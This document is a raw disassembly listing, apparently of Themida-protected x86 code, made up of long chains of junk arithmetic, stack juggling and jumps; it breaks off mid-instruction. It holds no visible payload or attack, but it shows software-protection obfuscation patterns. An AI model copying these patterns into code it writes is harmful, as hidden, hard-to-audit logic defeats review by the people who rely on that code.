Themida_:0055068Ej xor edx, 1F43512Bh xor edx, 1D6D460Eh add edx, 0E2C0863Ch mov edi, edx jmp loc_55459D ; --------------------------------------------------------------------------- loc_554075: ; CODE XREF: Themida_:0055BB81j pop edx push ecx mov ch, al mov dl, ch pop ecx mov eax, [esp] jmp loc_55AE65 ; --------------------------------------------------------------------------- loc_554084: ; CODE XREF: Themida_:005630E3j mov esi, ebp pop ebp jmp loc_556DAC ; --------------------------------------------------------------------------- loc_55408C: ; CODE XREF: Themida_:0055AC2Fj pop edx push esi mov esi, 78223D00h jmp loc_550B00 ; --------------------------------------------------------------------------- loc_554098: ; CODE XREF: Themida_:00564E61j pop esi add edx, 4 jmp loc_55BA36 ; --------------------------------------------------------------------------- loc_5540A1: ; CODE XREF: Themida_:00557EEEj or [esp], eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5540AA: ; CODE XREF: Themida_:00552FE0j pop edi sub [esp], edi sub dword ptr [esp], 659963FDh mov edi, [esp] push ecx jmp loc_556258 ; --------------------------------------------------------------------------- loc_5540BE: ; CODE XREF: Themida_:00552578j mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_556F0C ; --------------------------------------------------------------------------- loc_5540CE: ; CODE XREF: Themida_:0055FBBCj xor ebp, 6BEB75E8h shr ebp, 1 sub ebp, 35FDB25Fh mov edi, ebp jmp loc_55BCDD ; --------------------------------------------------------------------------- loc_5540E3: ; CODE XREF: Themida_:00554D7Fj mov edx, esp add edx, 4 jmp loc_55D5E5 ; --------------------------------------------------------------------------- loc_5540F0: ; CODE XREF: Themida_:00560CB6j mov ebp, [esp] add esp, 4 sub eax, ebx pop ebx push 2A1Eh mov [esp], edx push 63BE6642h pop edx push 70A0h jmp loc_55765F ; --------------------------------------------------------------------------- loc_554111: ; CODE XREF: Themida_:0055CB70j shl esi, 2 jmp loc_563FE2 ; --------------------------------------------------------------------------- loc_554119: ; CODE XREF: Themida_:0055781Fj add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] or eax, 5D9E78E9h push esi mov esi, 7FBE7DFDh jmp loc_55B613 ; --------------------------------------------------------------------------- loc_554138: ; CODE XREF: Themida_:00556C66j push ebp mov ebp, esp push edx jmp loc_5525BA ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_557AAB ; --------------------------------------------------------------------------- loc_55414C: ; CODE XREF: Themida_:005551D4j pop edx shr ecx, 0Bh jmp loc_5646B1 ; --------------------------------------------------------------------------- loc_554155: ; CODE XREF: Themida_:0056402Dj push 489441F8h pop edi jmp loc_565A5F ; --------------------------------------------------------------------------- loc_554160: ; CODE XREF: Themida_:005520E1j or ecx, 65190EF6h push edx mov edx, 26532F35h sub esp, 4 mov [esp], eax mov eax, 748001B3h shr eax, 7 jmp loc_563F30 ; --------------------------------------------------------------------------- loc_55417F: ; CODE XREF: Themida_:0055F8C2j push 53Eh mov [esp], ebx jmp loc_55C485 ; --------------------------------------------------------------------------- loc_55418C: ; CODE XREF: Themida_:0055C272j add ebp, 0C8865E29h add esi, ebp jmp loc_5658D6 ; --------------------------------------------------------------------------- loc_554199: ; CODE XREF: Themida_:0055D833j add bl, 11h pop eax add bl, 8 movzx eax, al jmp loc_555D16 ; --------------------------------------------------------------------------- loc_5541A8: ; CODE XREF: Themida_:0055F6AAj pop ebp or ebp, 783001DCh push esi mov esi, 3F2E63D2h sub ebp, 78A704D3h add ebp, esi add ebp, 78A704D3h pop esi shl ebp, 5 jmp loc_55F90B ; --------------------------------------------------------------------------- loc_5541CC: ; CODE XREF: Themida_:0055215Fj add ecx, 1AE023D4h sub ecx, ebp push esi mov esi, 44E80375h or esi, 4D712B04h and esi, 4926BAFh xor esi, 1E7008F1h jmp loc_5634A6 ; --------------------------------------------------------------------------- loc_5541F1: ; CODE XREF: Themida_:00557346j add al, dl jmp loc_55DB80 ; --------------------------------------------------------------------------- loc_5541F8: ; CODE XREF: Themida_:005509A0j jmp loc_550420 ; --------------------------------------------------------------------------- loc_5541FD: ; CODE XREF: Themida_:00563256j mov eax, esp push ebp push edi mov edi, 17023CAAh add edi, 5A9533EEh push eax push edi pop eax mov ebp, eax pop eax pop edi neg ebp not ebp or ebp, 7AA97441h dec ebp neg ebp add ebp, 7BBF74DAh add eax, ebp pop ebp push 5242h mov [esp], ebp mov ebp, 3E351278h jmp loc_556438 ; --------------------------------------------------------------------------- loc_55423B: ; CODE XREF: Themida_:0055EBBBj add ebx, 34977A1Ch mov eax, [esp] add esp, 4 jmp loc_5567CB ; --------------------------------------------------------------------------- loc_55424C: ; CODE XREF: Themida_:00558D80j shr edx, 6 jmp loc_554007 ; --------------------------------------------------------------------------- loc_554254: ; CODE XREF: Themida_:00565ADFj push edi push esp pop edi push eax jmp loc_55729A ; --------------------------------------------------------------------------- loc_55425D: ; CODE XREF: Themida_:005602B3j add esp, 4 push edi mov edi, 3C3063C8h add edi, 62173E2Ch add edi, 61B85E10h add ebx, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 4E567305h add edi, 267C18CCh jmp loc_5523F4 ; --------------------------------------------------------------------------- loc_554293: ; CODE XREF: Themida_:0056018Dj mov eax, 8C541A1h not eax and eax, 7950188Ch xor eax, 1A141B77h mov edx, eax pop eax mov eax, 94FBFC89h add eax, edx pop edx jmp loc_5614CD ; --------------------------------------------------------------------------- loc_5542B4: ; CODE XREF: Themida_:0055B01Fj pop esp push eax push dword ptr [esp+4] jmp loc_55A674 ; --------------------------------------------------------------------------- loc_5542BF: ; CODE XREF: Themida_:0055A612j push edi push edx mov edx, 12737641h mov edi, edx pop edx mov ebp, 12737643h add ebp, 7CD1410Eh sub ebp, edi jmp loc_55DFDD ; --------------------------------------------------------------------------- loc_5542DB: ; CODE XREF: Themida_:00551969j add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp xor esi, 49BB6CC0h jmp loc_564D80 ; --------------------------------------------------------------------------- loc_5542F3: ; CODE XREF: Themida_:005512C2j push ebx mov ebx, 4BBF5F87h add ebx, 6CE5042Ah xor ebx, 20EB033Bh neg ebx add ebx, 4DC66D36h xor ebx, 0AE862CABh xor ebx, 60FD5CD4h xor edx, ebx pop ebx and eax, edx push dword ptr [esp] pop edx jmp loc_556D5D ; --------------------------------------------------------------------------- loc_554327: ; CODE XREF: Themida_:0055A5F1j mov edx, [esp] add esp, 4 jmp loc_555816 ; --------------------------------------------------------------------------- loc_554332: ; CODE XREF: Themida_:0055699Ej push edx mov edx, 4 jmp loc_55E15F ; --------------------------------------------------------------------------- loc_55433D: ; CODE XREF: Themida_:00557D8Aj sub edi, ebx jmp loc_55F903 ; --------------------------------------------------------------------------- loc_554344: ; CODE XREF: Themida_:0055696Aj mov edx, esp add edx, 4 jmp loc_5602B8 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp pop ecx sub esp, 4 mov [esp], ebx mov ebx, 727E1649h inc ebx inc ebx dec ebx or ebx, 603736E5h inc ebx jmp loc_55BBE5 ; --------------------------------------------------------------------------- loc_554372: ; CODE XREF: Themida_:0055EA58j add edi, ecx pop ecx add edi, edx push 6B1h mov [esp], eax jmp loc_55105C ; --------------------------------------------------------------------------- loc_554384: ; CODE XREF: Themida_:0055787Ej pop ecx add eax, 48642991h mov ebp, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], eax pop dword ptr [edi+40h] mov eax, [esp] push 4B09h mov [esp], edi mov edi, esp sub esp, 4 mov [esp], ebp mov ebp, 790D5D30h sub ebp, 64663Eh shl ebp, 1 push edi mov edi, esp add edi, 4 jmp loc_5526A9 ; --------------------------------------------------------------------------- loc_5543D6: ; CODE XREF: Themida_:005524CBj sub ecx, 3DE02F90h and ecx, 4A035385h sub ecx, 0A001000h add eax, ecx jmp loc_55309F ; --------------------------------------------------------------------------- loc_5543EF: ; CODE XREF: Themida_:00559E5Aj neg ebp add ebp, 0CC316CD8h jmp loc_564595 ; --------------------------------------------------------------------------- loc_5543FC: ; CODE XREF: Themida_:00555CC3j pop esi push eax mov eax, 6F1C34EBh or eax, 1D03A2Eh jmp loc_55F16D ; --------------------------------------------------------------------------- loc_55440D: ; CODE XREF: Themida_:00557E7Aj mov edx, esp add edx, 4 push 3E0Fh jmp loc_55974F ; --------------------------------------------------------------------------- loc_55441F: ; CODE XREF: Themida_:00565407j neg dl or dl, 0FBh neg dl push ebx mov bl, 5 not bl sub bl, 2Eh shl bl, 4 and bl, 1 add bl, 0A5h xor dl, bl pop ebx sub al, 0EDh jmp loc_562B18 ; --------------------------------------------------------------------------- loc_554441: ; CODE XREF: Themida_:0055CABBj push ebp push eax mov eax, 4 mov ebp, eax pop eax jmp loc_56357A ; --------------------------------------------------------------------------- loc_554450: ; CODE XREF: Themida_:00554C35j and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push ebx push 57A2h mov [esp], edx push 764C3756h pop edx not edx neg edx push edi mov edi, 16F90192h push ebp mov ebp, 2C8D0343h not ebp shr ebp, 3 inc ebp jmp loc_5583C2 ; --------------------------------------------------------------------------- loc_55448C: ; CODE XREF: Themida_:0055F906j pop edi loc_55448D: ; CODE XREF: Themida_:00557EB3j ; Themida_:0055F634j push dword ptr [edi+24h] push dword ptr [esp] jmp loc_558460 ; --------------------------------------------------------------------------- loc_554498: ; CODE XREF: Themida_:00550DF8j mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov dh, 0E1h not dh jmp loc_55CD21 ; --------------------------------------------------------------------------- loc_5544B0: ; CODE XREF: Themida_:0055516Ej add edi, 6ED99FCAh jmp loc_55E598 ; --------------------------------------------------------------------------- loc_5544BB: ; CODE XREF: Themida_:005604C4j sub ecx, 211C1333h and edx, ecx pop ecx xor edx, 63AA0F1Dh sub edx, 74C26FA2h not edx sub edx, 0DE18D173h sub ebx, edx mov edx, [esp] add esp, 4 and ebx, 76BB6D22h jmp loc_556CD4 ; --------------------------------------------------------------------------- loc_5544EE: ; CODE XREF: Themida_:0055ABDCj add ecx, 744C419Ch push dword ptr [esp] pop eax sub esp, 4 jmp loc_562022 ; --------------------------------------------------------------------------- loc_554503: ; CODE XREF: Themida_:005579FCj pop ebx add ebx, ebp pop ebp xor ecx, ebx pop ebx and eax, ecx mov ecx, [esp] jmp loc_5651EC ; --------------------------------------------------------------------------- loc_554514: ; CODE XREF: Themida_:00550FDAj shl word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55451E: ; CODE XREF: Themida_:005651D0j mov dl, 98h inc dl dec dl jmp loc_5514FE ; --------------------------------------------------------------------------- loc_554529: ; CODE XREF: Themida_:0055937Dj pop esi sub esp, 4 mov [esp], edx mov edx, 19A63BBBh push esi mov esi, esp add esi, 4 jmp loc_5659BD ; --------------------------------------------------------------------------- loc_554546: ; CODE XREF: Themida_:00554B30j sub ecx, 4DC67283h mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_557B57 ; --------------------------------------------------------------------------- loc_554560: ; CODE XREF: Themida_:0055FA85j mov esi, [esp] add esp, 4 and [edi+1Ch], ecx push dword ptr [esp] jmp loc_550EED ; --------------------------------------------------------------------------- loc_554571: ; CODE XREF: Themida_:005634D3j mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_551802 ; --------------------------------------------------------------------------- loc_554588: ; CODE XREF: Themida_:00555A1Cj xor ah, 7 and bl, ah mov eax, [esp] add esp, 4 inc bl jmp loc_564E11 ; --------------------------------------------------------------------------- loc_55459D: ; CODE XREF: Themida_:00554070j pop edx sub ebx, 5B4A3BF8h sub ebx, edi push eax jmp loc_563CB0 ; --------------------------------------------------------------------------- loc_5545AC: ; CODE XREF: Themida_:005562AEj add edx, ecx jmp loc_5643F6 ; --------------------------------------------------------------------------- loc_5545B3: ; CODE XREF: Themida_:00551A45j sub edi, 49041149h add edi, esi add edi, 49041149h push ebp mov ebp, 5BB202EEh sub edi, ebp pop ebp jmp loc_56563D ; --------------------------------------------------------------------------- loc_5545CF: ; CODE XREF: Themida_:00560090j mov al, 80h dec al not al not al inc al jmp loc_55D627 ; --------------------------------------------------------------------------- loc_5545DE: ; CODE XREF: Themida_:00564CEBj or cl, al mov eax, [esp] add esp, 4 neg cl jmp loc_55AE97 ; --------------------------------------------------------------------------- loc_5545F0: ; CODE XREF: Themida_:005655EEj mov edi, 79B4189Ah sub edx, 0D6E7E77h add edx, 689161B7h add edx, edi sub edx, 689161B7h add edx, 0D6E7E77h mov edi, [esp] jmp loc_56332F ; --------------------------------------------------------------------------- loc_554617: ; CODE XREF: Themida_:00562759j push 7E29h mov [esp], ecx mov ecx, 38466BC9h sub ecx, 298D049Dh push ebp mov ebp, 0F6235E1h xor ecx, ebp pop ebp shr ecx, 4 push ebp mov ebp, 0FFE24AD8h add ecx, ebp mov ebp, [esp] jmp loc_55D9E0 ; --------------------------------------------------------------------------- loc_554646: ; CODE XREF: Themida_:00559DABj xchg edx, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_554656: ; CODE XREF: Themida_:00561F7Bj mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx xchg ecx, [esp] pop esp add esp, 4 or ebx, ebx jnz loc_560D6A push eax push ebp jmp loc_55FDB1 ; --------------------------------------------------------------------------- loc_55467D: ; CODE XREF: Themida_:0055921Cj xor ebx, 474B2DC5h push 2474h jmp loc_55C99C ; --------------------------------------------------------------------------- loc_55468D: ; CODE XREF: Themida_:0055A8EEj mov ebx, 44CD4FEFh xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 loc_55469E: ; CODE XREF: Themida_:loc_553BE7j ; Themida_:005610FBj push 3DC7h mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_558097 ; --------------------------------------------------------------------------- loc_5546B1: ; CODE XREF: Themida_:00550F4Bj mov dh, 12h jmp loc_551CBA ; --------------------------------------------------------------------------- loc_5546B8: ; CODE XREF: Themida_:0055F485j mov ebp, 217D1634h mov ecx, 364B3E7Bh xor ecx, ebp pop ebp add ecx, 2EDE08BBh sub ecx, ebx jmp loc_55766E ; --------------------------------------------------------------------------- loc_5546D2: ; CODE XREF: Themida_:00564759j sub ecx, 0C926367h shr ecx, 5 sub ecx, 79B6DE0h add esi, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5652A5 ; --------------------------------------------------------------------------- loc_5546F4: ; CODE XREF: Themida_:00552CBAj push ebx jmp loc_559FFF ; --------------------------------------------------------------------------- loc_5546FA: ; CODE XREF: Themida_:00558055j add edx, 10C0080Ah add edx, ebp push ecx mov ecx, 30ED3E31h shl ecx, 2 inc ecx sub ecx, 0B2F4F0BBh add edx, 18A541A7h sub edx, ecx sub edx, 18A541A7h pop ecx jmp loc_55527B ; --------------------------------------------------------------------------- loc_554726: ; CODE XREF: Themida_:0055C203j push ebp mov ebp, 2A457C7h not ebp jmp loc_5622A5 ; --------------------------------------------------------------------------- loc_554733: ; CODE XREF: Themida_:0055BFD0j mov ax, [esp] sub esp, 4 mov [esp], ebp jmp loc_55D4F9 ; --------------------------------------------------------------------------- loc_554745: ; CODE XREF: Themida_:0055976Cj add esp, 4 jmp loc_55ABEA ; --------------------------------------------------------------------------- loc_554750: ; CODE XREF: Themida_:00550B84j mov [esp], bx jmp loc_558960 ; --------------------------------------------------------------------------- loc_554759: ; CODE XREF: Themida_:00563C6Bj sub esi, 0EB71B9B8h push esi mov edx, [esp] add esp, 4 jmp loc_55292B ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx push eax push 4F457FC3h pop eax jmp loc_55C139 ; --------------------------------------------------------------------------- loc_55477D: ; CODE XREF: Themida_:0056380Ej push 2C55h mov [esp], eax mov eax, 66801355h jmp loc_55D261 ; --------------------------------------------------------------------------- loc_55478F: ; CODE XREF: Themida_:00557872j push 52B8h mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 jmp loc_55D290 ; --------------------------------------------------------------------------- loc_5547AA: ; CODE XREF: Themida_:0055D893j add edx, 1F403C05h pop esi sub edx, 436C50F0h add edx, 0F8F009F2h and edi, edx pop edx xor edi, 76322F21h xor eax, edi pop edi push ebx jmp loc_5526DC ; --------------------------------------------------------------------------- loc_5547CF: ; CODE XREF: Themida_:00561919j mov ebx, 54263F9Fh neg ebx jmp loc_5566C4 ; --------------------------------------------------------------------------- loc_5547DB: ; CODE XREF: Themida_:00561913j pop edi sub esp, 4 mov [esp], esi mov esi, 728E1C0Eh jmp loc_55D7CB ; --------------------------------------------------------------------------- loc_5547EF: ; CODE XREF: Themida_:0055FAEAj pop esp add [esp], eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5547F9: ; CODE XREF: Themida_:00557F59j push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_556147 ; --------------------------------------------------------------------------- loc_55480C: ; CODE XREF: Themida_:005647DDj sub ebx, 613B6A3Ch add ebx, esi push eax mov eax, 613B6A3Ch add ebx, eax pop eax jmp loc_55FA3B ; --------------------------------------------------------------------------- loc_554822: ; CODE XREF: Themida_:0056492Fj not edi shr edi, 6 add edi, 6CA0512Ch sub edi, 0B42DCED5h jmp loc_56462E ; --------------------------------------------------------------------------- loc_554838: ; CODE XREF: Themida_:00561DC5j add edi, 4 push eax mov eax, 485103ADh push ebp mov ebp, 0 sub ebp, eax jmp loc_557A27 ; --------------------------------------------------------------------------- loc_554851: ; CODE XREF: Themida_:0055C624j add esp, 4 mov [edi+eax*4], bl mov ebx, [esp] add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- mov cx, [esp] push edi push esp pop edi jmp loc_565579 ; --------------------------------------------------------------------------- loc_554874: ; CODE XREF: Themida_:0056053Aj shl ebx, 3 and ebx, 16C3154Eh inc ebx dec ebx add ebx, 2E222D6Ch mov edx, ebx jmp loc_5615EB ; --------------------------------------------------------------------------- loc_55488C: ; CODE XREF: Themida_:005627E2j add esp, 4 push 40E7h mov [esp], ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 6F9007A1h jmp loc_5618B5 ; --------------------------------------------------------------------------- loc_5548AD: ; CODE XREF: Themida_:0055314Cj jmp loc_550420 ; --------------------------------------------------------------------------- loc_5548B2: ; CODE XREF: Themida_:0055DDF7j sub ecx, 4C051B27h sub edx, 1F666305h add edx, ecx push eax push ecx push esi mov esi, 9600F54h jmp loc_565319 ; --------------------------------------------------------------------------- loc_5548CD: ; CODE XREF: Themida_:005532FBj sub edi, 8780A691h and esi, edi pop edi add esi, 0EFFFFF84h add edx, esi pop esi sub esp, 4 mov [esp], eax mov eax, 4 sub edx, eax pop eax push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ch, 4 jmp loc_550906 ; --------------------------------------------------------------------------- loc_554906: ; CODE XREF: Themida_:0055E85Aj mov ebp, 774829AEh jmp loc_555B08 ; --------------------------------------------------------------------------- mov cx, [esp] push 1B6h mov [esp], eax jmp loc_5620B7 ; --------------------------------------------------------------------------- loc_554921: ; CODE XREF: Themida_:00551BB8j mov esi, 4 jmp loc_562303 ; --------------------------------------------------------------------------- loc_55492B: ; CODE XREF: Themida_:005554DDj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] shl dword ptr [esp], cl jmp loc_551348 ; --------------------------------------------------------------------------- loc_55493F: ; CODE XREF: Themida_:00563CE6j add esp, 4 and eax, edi mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 jmp loc_55E95F ; --------------------------------------------------------------------------- loc_554956: ; CODE XREF: Themida_:0056148Cj add ebx, 4 jmp loc_559983 ; --------------------------------------------------------------------------- loc_554961: ; CODE XREF: Themida_:00554C08j pop ecx jmp loc_5510FC ; --------------------------------------------------------------------------- loc_554967: ; CODE XREF: Themida_:00556721j add ebp, eax pop eax push edx mov edx, 383F451Bh inc edx dec edx not edx inc edx shl edx, 8 add edx, 3F451B04h jmp loc_556ACB ; --------------------------------------------------------------------------- loc_554983: ; CODE XREF: Themida_:0055C1B6j push edx push 6CCE0584h jmp loc_555C94 ; --------------------------------------------------------------------------- loc_55498E: ; CODE XREF: Themida_:00551633j sub esp, 4 mov [esp], edi jmp loc_555B4F ; --------------------------------------------------------------------------- loc_554999: ; CODE XREF: Themida_:00559E7Fj sub ecx, 0AB8DB022h push eax mov eax, ecx jmp loc_5554E2 ; --------------------------------------------------------------------------- loc_5549A7: ; CODE XREF: Themida_:005512EAj pop eax and eax, 47ED7B93h xor eax, 71E91B01h shr eax, 7 xor eax, 221A0EEDh xor eax, 2F267DC4h xor ecx, eax pop eax jmp loc_55636D ; --------------------------------------------------------------------------- loc_5549C7: ; CODE XREF: Themida_:0056276Bj shr eax, 7 add eax, 23161CC4h jmp loc_55C3ED ; --------------------------------------------------------------------------- loc_5549D4: ; CODE XREF: Themida_:005567D7j add eax, 65140267h or eax, 38A11C90h push ecx mov ecx, 41345D7Bh add eax, ecx pop ecx not eax add eax, 297765FDh add eax, 0CCA38A8h or ebp, eax pop eax and ebp, 4A593900h sub esp, 4 jmp loc_5585BD ; --------------------------------------------------------------------------- loc_554A07: ; CODE XREF: Themida_:0056252Aj mov [esp], ebx mov ebx, 6C82563Fh sub eax, 3C9129E2h sub eax, ebx add eax, 3C9129E2h pop ebx push edi push 47A9h mov [esp], esp add dword ptr [esp], 4 pop edi push ebp jmp loc_5522C1 ; --------------------------------------------------------------------------- loc_554A33: ; CODE XREF: Themida_:0055CC64j shl edi, 8 jmp loc_561905 ; --------------------------------------------------------------------------- loc_554A3B: ; CODE XREF: Themida_:005528DBj push esp jmp loc_55D781 ; --------------------------------------------------------------------------- loc_554A41: ; CODE XREF: Themida_:0055715Cj pop esi add ecx, ebx sub ecx, 367C6F30h push dword ptr [esp] pop ebx add esp, 4 shl ecx, 4 add ecx, 0FFFFFFFFh and ecx, 48B927D9h jmp loc_553F29 ; --------------------------------------------------------------------------- loc_554A65: ; CODE XREF: Themida_:00562A6Bj pop eax add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 7AAA283Ch xor eax, ebp pop ebp sub esp, 4 mov [esp], ecx push 27364E7Eh pop ecx push ebx mov ebx, esp jmp loc_562FCC ; --------------------------------------------------------------------------- loc_554A8E: ; CODE XREF: Themida_:0055F405j pop edx sub ebx, 77B94138h jmp loc_562A92 ; --------------------------------------------------------------------------- loc_554A9A: ; CODE XREF: Themida_:0055E6BAj pop edx add edi, eax mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 46290D2Fh or edx, 10190DD6h jmp loc_55696F ; --------------------------------------------------------------------------- loc_554AB9: ; CODE XREF: Themida_:0055648Aj sub bl, cl sub bl, 38h pop ecx jmp loc_55786E ; --------------------------------------------------------------------------- loc_554AC4: ; CODE XREF: Themida_:00557EA8j push ebp mov ebp, 9307C03h add eax, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, 21E8129Eh sub eax, ebx pop ebx add eax, 44A0347Ch sub eax, ebx jmp loc_55AB90 ; --------------------------------------------------------------------------- loc_554AE7: ; CODE XREF: Themida_:0055A8B3j sub esi, ebx pop ebx xor esi, 0BDC197CAh jmp loc_561F5D ; --------------------------------------------------------------------------- loc_554AF5: ; CODE XREF: Themida_:0055EE71j mov eax, 515A23A5h and edi, eax pop eax xor edi, 410A0023h add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] or [esp], al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_554B15: ; CODE XREF: Themida_:00556249j add ebx, edx pop edx inc ebx inc ebx push ebp mov ebp, 6E80F4CDh xor ebx, ebp jmp loc_55A8B2 ; --------------------------------------------------------------------------- loc_554B27: ; CODE XREF: Themida_:00553BD7j not cl jmp loc_554CCB ; --------------------------------------------------------------------------- loc_554B2E: ; CODE XREF: Themida_:005614D3j add ecx, eax jmp loc_554546 ; --------------------------------------------------------------------------- loc_554B35: ; CODE XREF: Themida_:0055B0EBj add edx, ebx pop ebx push ecx jmp loc_5654A1 ; --------------------------------------------------------------------------- loc_554B3E: ; CODE XREF: Themida_:0055240Dj push esi push edi push ecx mov ecx, 5E991793h xor ecx, 1F3E7B3Ch mov edi, ecx jmp loc_555320 ; --------------------------------------------------------------------------- loc_554B53: ; CODE XREF: Themida_:0055EDD1j mov bh, 0C4h and al, bh pop ebx push edx mov dl, 85h add al, 95h jmp loc_56466E ; --------------------------------------------------------------------------- loc_554B62: ; CODE XREF: Themida_:0055D53Cj mov [esp], ecx jmp loc_560CDD ; --------------------------------------------------------------------------- loc_554B6A: ; CODE XREF: Themida_:005528B2j pop edx jmp loc_560B89 ; --------------------------------------------------------------------------- loc_554B70: ; CODE XREF: Themida_:00563421j push ebx mov ebx, 3F3F31D8h add eax, ebx mov ebx, [esp] add esp, 4 pop ebx pop ecx push ebx jmp loc_55802F ; --------------------------------------------------------------------------- loc_554B89: ; CODE XREF: Themida_:0055C556j add esp, 4 push eax mov eax, 4 jmp loc_559520 ; --------------------------------------------------------------------------- loc_554B97: ; CODE XREF: Themida_:0055B104j push 6732h mov [esp], ecx sub dword ptr [esp], 0EB25A30h pop ebx add ebx, 0EB25A30h jmp loc_55E7AD ; --------------------------------------------------------------------------- loc_554BB2: ; CODE XREF: Themida_:0055B9E6j push ebx push edx mov edx, 43732162h add edx, 1EE12424h mov ebx, edx pop edx sub ebx, 0FB992D64h xor edi, ebx pop ebx xor edi, 1C966020h xchg ecx, edi not ecx xchg ecx, edi jmp loc_5602DC ; --------------------------------------------------------------------------- loc_554BDC: ; CODE XREF: Themida_:0055ADFCj push edx push dword ptr [esp+4] push dword ptr [esp] pop edx push 51E2h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55FE2B ; --------------------------------------------------------------------------- loc_554C01: ; CODE XREF: Themida_:0055D298j mov [esp], ecx push dword ptr [esp+4] jmp loc_554961 ; --------------------------------------------------------------------------- loc_554C0D: ; CODE XREF: Themida_:00550D5Bj push esi push ebx mov ebx, 0AF37782h mov esi, ebx jmp loc_5607A7 ; --------------------------------------------------------------------------- loc_554C1B: ; CODE XREF: Themida_:0055E2A9j pop edx push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov ebx, 1 jmp loc_554450 ; --------------------------------------------------------------------------- loc_554C3A: ; CODE XREF: Themida_:005597D2j push ebp mov ebp, 13666E6Ch sub esp, 4 mov [esp], ebp jmp loc_5559D2 ; --------------------------------------------------------------------------- loc_554C4E: ; CODE XREF: Themida_:0055659Fj mov edi, [esp] add esp, 4 sub esi, 2 jmp loc_55731D ; --------------------------------------------------------------------------- loc_554C62: ; CODE XREF: Themida_:0055835Fj mov edx, edi mov edi, [esp] add esp, 4 xor ebx, edx mov edx, [esp] push edx mov edx, esp add edx, 4 jmp loc_55296C ; --------------------------------------------------------------------------- loc_554C7D: ; CODE XREF: Themida_:0055629Cj xchg edx, esi xchg esi, [esp] push dword ptr [esp] pop edx jmp loc_560AAD ; --------------------------------------------------------------------------- loc_554C8B: ; CODE XREF: Themida_:00550DF1j sub dh, 96h pop ecx or bl, dh pop edx sub esp, 4 mov [esp], ecx mov ch, 0BBh jmp loc_553AEE ; --------------------------------------------------------------------------- loc_554CA2: ; CODE XREF: Themida_:0056268Bj push bx mov bl, 5 jmp loc_565437 ; --------------------------------------------------------------------------- loc_554CAB: ; CODE XREF: Themida_:00556970j mov ecx, 22677B1Ch jmp loc_5562A1 ; --------------------------------------------------------------------------- loc_554CB5: ; CODE XREF: Themida_:00556073j jmp loc_550420 ; --------------------------------------------------------------------------- loc_554CBA: ; CODE XREF: Themida_:00557DA7j sub esi, 8AB65A7h add esi, 66B7164h jmp loc_55829D ; --------------------------------------------------------------------------- loc_554CCB: ; CODE XREF: Themida_:00554B29j xor cl, 91h neg cl jmp loc_5635AD ; --------------------------------------------------------------------------- loc_554CD5: ; CODE XREF: Themida_:00552A5Aj xchg ebx, [esp] mov esi, [esp] jmp loc_56521C ; --------------------------------------------------------------------------- loc_554CE0: ; CODE XREF: Themida_:00563C17j mov [esp], eax push 7002h mov [esp], edx jmp loc_55E018 ; --------------------------------------------------------------------------- loc_554CF0: ; CODE XREF: Themida_:00559E78j push 6F6Eh mov [esp], eax jmp loc_55681F ; --------------------------------------------------------------------------- loc_554CFD: ; CODE XREF: Themida_:0056387Aj mov ebx, 0BEB3D45h neg ebx xor ebx, 53D122E4h shr ebx, 5 sub ebx, 0C520D93Ch mov eax, ebx pop ebx or eax, 20D40F35h jmp loc_5588B8 ; --------------------------------------------------------------------------- loc_554D20: ; CODE XREF: Themida_:00560ABDj pop esp jmp loc_56280A ; --------------------------------------------------------------------------- loc_554D26: ; CODE XREF: Themida_:00563FDDj mov esi, esp add esi, 4 jmp loc_555945 ; --------------------------------------------------------------------------- loc_554D33: ; CODE XREF: Themida_:0055E094j sub ch, 60h push ebx mov bl, 12h inc bl inc bl not bl sub bl, 24h shl bl, 3 add bl, 2Fh or ch, bl mov ebx, [esp] add esp, 4 sub ch, 2Eh mov bh, ch mov ecx, [esp] add esp, 4 shl bh, 1 shr bh, 2 and bh, 0A8h dec bh not bh add bh, 0BAh add al, 73h jmp loc_55286D ; --------------------------------------------------------------------------- loc_554D74: ; CODE XREF: Themida_:00555D53j xchg edi, [esp] pop esp push dword ptr [esp] mov eax, [esp] push edx jmp loc_5540E3 ; --------------------------------------------------------------------------- loc_554D84: ; CODE XREF: Themida_:00550F85j push edi pop ebp pop edi or edx, ebp jmp loc_55B206 ; --------------------------------------------------------------------------- loc_554D8E: ; CODE XREF: Themida_:00556F07j add ebx, edx add ebx, 